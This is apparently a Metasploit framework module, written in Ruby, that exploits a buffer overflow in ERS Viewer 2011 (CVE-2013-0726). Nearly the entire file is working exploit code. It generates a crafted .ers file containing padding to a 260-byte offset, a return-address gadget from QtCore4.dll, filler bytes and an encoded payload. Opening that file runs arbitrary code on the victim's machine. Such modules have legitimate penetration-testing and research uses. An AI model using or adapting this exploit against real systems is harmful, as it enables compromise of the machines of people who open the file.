ERS Viewer 2011 ERS File Handling Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "ERS Viewer 2011 ERS File Handling Buffer Overflow",
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability found in ERS Viewer 2011
				(version 11.04). The vulnerability exists in the module ermapper_u.dll where the
				function ERM_convert_to_correct_webpath handles user provided data in a insecure
				way. It results in arbitrary code execution under the context of the user viewing
				a specially crafted .ers file. This module has been tested successfully with ERS
				Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Parvez Anwar', # Vulnerability Discovery
					'juan vazquez' # Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2013-0726' ],
					[ 'OSVDB', '92694' ],
					[ 'BID', '59379' ],
					[ 'URL', 'http://secunia.com/advisories/51725/' ]
				],
			'Payload'        =>
				{
					'Space'    => 7516,
					'BadChars' => "\x22\x5c" +
						(0x7f..0xff).to_a.pack("C*") +
						(0x00..0x08).to_a.pack("C*") +
						(0x0a..0x1f).to_a.pack("C*"),
					'DisableNops' => true,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ESP'
						}
				},
			'SaveRegisters'  => [ 'ESP' ],
			'DefaultOptions'  =>
				{
					'ExitFunction' => "process",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'ERS Viewer 2011 (v11.04)  / Windows XP SP3 / Windows 7 SP1',
						{
							'Offset' => 260,
							'Ret' => 0x67097d7a # push esp # ret 0x08 from QtCore4.dll
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 23 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),
			], self.class)

	end

	# Rewrote it because make_nops is ignoring SaveRegisters
	# and corrupting ESP.
	def make_nops(count)
		return "\x43" * count # 0x43 => inc ebx
	end

	def exploit

		buf = rand_text(target['Offset'])
		buf << [target.ret].pack("V")
		buf << make_nops(8) # In order to keep ESP pointing to the start of the shellcode
		buf << payload.encoded

		ers = %Q|
DatasetHeader Begin
	Name		= "#{buf}"
DatasetHeader End
		|

		file_create(ers)
	end
end